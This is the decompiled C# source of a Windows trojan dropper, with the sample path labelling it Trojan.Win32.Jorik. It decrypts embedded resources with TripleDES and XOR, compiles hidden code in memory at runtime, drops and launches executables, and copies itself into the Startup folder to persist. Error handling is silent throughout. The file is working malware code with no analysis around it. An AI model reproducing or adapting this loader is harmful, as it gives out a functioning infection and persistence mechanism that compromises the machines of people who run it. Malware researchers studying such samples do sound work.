// Decompiled with JetBrains decompiler
// Type: A
// Assembly: test5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 5FEE5512-A04F-4880-B9BA-64F946A180EC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Jorik.Llac.aki-6131c450a642a62ff8934573df43ef2a61b7fe73cdf48e5237cb51121cc94ce8.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

public class A
{
  private static string StrPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Path.GetFileName(Application.ExecutablePath);
  private static string[] Arry;
  private static CompilerResults CRS;
  private static CompilerParameters PR = new CompilerParameters();
  private static CodeDomProvider CI;

  [STAThread]
  public static void Main()
  {
    ResourceManager resourceManager = new ResourceManager(nameof (A), Assembly.LoadFile(Application.ExecutablePath));
    string input = Conversions.ToString(resourceManager.GetObject("Na"));
    string key = Conversions.ToString(resourceManager.GetObject("K"));
    string str1 = Encoding.Default.GetString(A.ENC(input, key));
    int int32 = Convert.ToInt32(Conversions.ToString(1011100), 2);
    char ch;
    for (int CharCode = 0; CharCode <= int32; ++CharCode)
      ch = Strings.Chr(CharCode);
    string str2 = Interaction.Environ(A.Scram(Conversions.ToString(resourceManager.GetObject("X")))) + Conversions.ToString(ch) + str1 + ".exe";
    try
    {
      byte[] numArray1 = A.ENC(Conversions.ToString(resourceManager.GetObject("Inj")), key);
      A.LM("C", "T", A.Scram(Conversions.ToString(resourceManager.GetObject("L"))), new object[2]
      {
        (object) str2,
        (object) numArray1
      });
      byte[] numArray2 = A.ENC(Conversions.ToString(resourceManager.GetObject("Z0")), key);
      A.LM("IX", "AA", A.Scram(Conversions.ToString(resourceManager.GetObject("R"))), new object[2]
      {
        (object) numArray2,
        (object) str2
      });
      int integer = Conversions.ToInteger(resourceManager.GetObject("i"));
      if (integer != 1)
      {
        int num = integer - 1;
        for (int index = 0; index <= num; ++index)
        {
          string Left = Interaction.Environ(A.Scram(Conversions.ToString(resourceManager.GetObject("X")))) + A.Scram(Conversions.ToString(resourceManager.GetObject("J")));
          int CharCode = 70;
          switch (index)
          {
            case 0:
              Left = Conversions.ToString(Operators.ConcatenateObject((object) Left, resourceManager.GetObject(Conversions.ToString(Strings.Chr(CharCode)) + Conversions.ToString(Strings.Chr(CharCode)))));
              break;
            case 1:
              Left = Conversions.ToString(Operators.ConcatenateObject((object) Left, resourceManager.GetObject(Conversions.ToString(Strings.Chr(CharCode + 13)) + Conversions.ToString(Strings.Chr(CharCode + 13)))));
              break;
            case 2:
              Left = Conversions.ToString(Operators.ConcatenateObject((object) Left, resourceManager.GetObject(Conversions.ToString(Strings.Chr(CharCode + 14)) + Conversions.ToString(Strings.Chr(CharCode + 14)))));
              break;
            case 3:
              Left = Conversions.ToString(Operators.ConcatenateObject((object) Left, resourceManager.GetObject(Conversions.ToString(Strings.Chr(CharCode + 15)) + Conversions.ToString(Strings.Chr(CharCode + 15)))));
              break;
          }
          byte[] numArray3 = A.ENC(Conversions.ToString(resourceManager.GetObject("Z" + Conversions.ToString(index + 1))), key);
          A.LM("C", "T", A.Scram(Conversions.ToString(resourceManager.GetObject("L"))), new object[2]
          {
            (object) Left,
            (object) numArray3
          });
          A.LM("S", "SS", A.Scram(Conversions.ToString(resourceManager.GetObject("Y"))), new object[1]
          {
            (object) Left
          });
        }
      }
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    A.SNPersistence();
  }

  public static string Reverser(string s)
  {
    s = s.Replace('#', 'e');
    s = s.Replace(Strings.Chr(195), 'a');
    s = s.Replace(Strings.Chr(200), 'i');
    char[] charArray = s.ToCharArray();
    Array.Reverse((Array) charArray);
    return new string(charArray);
  }

  public static string EN_DES(string b, string c, bool d)
  {
    byte[] bytes;
    if (d)
      bytes = (byte[]) NewLateBinding.LateGet((object) new MD5CryptoServiceProvider(), (System.Type) null, "ComputeHash", new object[1]
      {
        (object) Encoding.UTF8.GetBytes(c)
      }, (string[]) null, (System.Type[]) null, (bool[]) null);
    else
      bytes = Encoding.UTF8.GetBytes(c);
    object Instance = (object) new TripleDESCryptoServiceProvider();
    NewLateBinding.LateSet(Instance, (System.Type) null, "Key", new object[1]
    {
      (object) bytes
    }, (string[]) null, (System.Type[]) null);
    NewLateBinding.LateSet(Instance, (System.Type) null, "Mode", new object[1]
    {
      (object) CipherMode.ECB
    }, (string[]) null, (System.Type[]) null);
    NewLateBinding.LateSet(Instance, (System.Type) null, "Padding", new object[1]
    {
      (object) PaddingMode.PKCS7
    }, (string[]) null, (System.Type[]) null);
    return Encoding.UTF8.GetString(((ICryptoTransform) NewLateBinding.LateGet(Instance, (System.Type) null, "CreateDecryptor", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null)).TransformFinalBlock(Convert.FromBase64String(b), 0, Convert.FromBase64String(b).Length));
  }

  public static byte[] ENC(string input, string key = null) => Encoding.Default.GetBytes(A.EN_DES(input, key, true));

  public static void SNPersistence()
  {
    string str = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + Path.GetFileName(Application.ExecutablePath);
    try
    {
      if (File.Exists(str))
        return;
      File.Copy(Application.ExecutablePath, str);
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
  }

  public static string Scram(string I) => Encoding.Default.GetString(A.XQ(Encoding.Default.GetBytes(I), new byte[1]
  {
    (byte) 1
  }));

  public static byte[] XQ(byte[] E, byte[] P)
  {
    int length = P.Length;
    int num = E.Length - 1;
    for (int index = 0; index <= num; ++index)
      E[index] = (byte) ((int) E[index] ^ (int) P[index % length]);
    return E;
  }

  private static bool LM(string C, string V, string F, object[] P)
  {
    bool boolean;
    try
    {
      A.Arry = new string[3]
      {
        "CSharp",
        "System.dll",
        "/platform:x86 /unsafe"
      };
      A.CI = CodeDomProvider.CreateProvider(A.Arry[0]);
      A.Para();
      A.CRS = A.CI.CompileAssemblyFromSource(A.PR, F);
      System.Type type = A.CRS.CompiledAssembly.GetType(C);
      if ((object) type != null)
      {
        MethodInfo method = type.GetMethod(V);
        if ((object) method != null)
          boolean = Conversions.ToBoolean(method.Invoke((object) null, P));
      }
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    return boolean;
  }

  public static void Para()
  {
    A.PR.GenerateExecutable = false;
    A.PR.GenerateInMemory = true;
    A.PR.ReferencedAssemblies.Add(A.Arry[1]);
    A.PR.CompilerOptions = A.Arry[2];
    A.PR.TreatWarningsAsErrors = false;
  }
}